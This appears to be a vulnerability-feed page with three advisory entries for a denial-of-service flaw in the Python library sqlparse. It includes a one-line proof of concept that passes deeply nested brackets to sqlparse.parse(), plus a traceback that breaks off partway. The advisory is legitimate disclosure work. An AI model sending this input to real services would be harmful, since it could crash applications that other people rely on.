Most recent entries from all

CVE-2024-4340 — Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

2026-10-02T19:04:05.467048+00:00

Affected: sqlparse, sqlparse_project sqlparse

Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

GHSA-2m57-hf25-phgg — sqlparse parsing heavily nested list leads to Denial of Service

2026-10-02T19:04:05.467101+00:00

Affected: PyPI: sqlparse

### Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

### Details + PoC Running the following code will raise Maximum recursion limit exceeded exception: ```py import sqlparse sqlparse.parse('[' * 10000 + ']' * 10000) ``` We expect a traceback of RecursionError: ```py Traceback (most recent call last): File "trigger_sqlparse_nested_list.py", line 3, in sqlparse.parse('[' * 10000 + ']' * 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/__init__.py", line 30, in parse return tuple(parsestream(sql, encoding)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filter_stack.py", line 36, in run stmt = grouping.group(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group func(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in group_brackets _group_matching(tlist, sql.SquareBrackets) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in _group_matching tlist.group_tokens(cls, open_idx, close_idx) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in group_tokens grp = grp_cls(subtokens) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in __init__ super().__init__(None, str(self)) File "/home/uriya/.local/lib/python3.1…

PYSEC-2026-1940 — sqlparse parsing heavily nested list leads to Denial of Service

2026-10-02T19:04:05.467147+00:00

Affected: PyPI: sqlparse

### Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.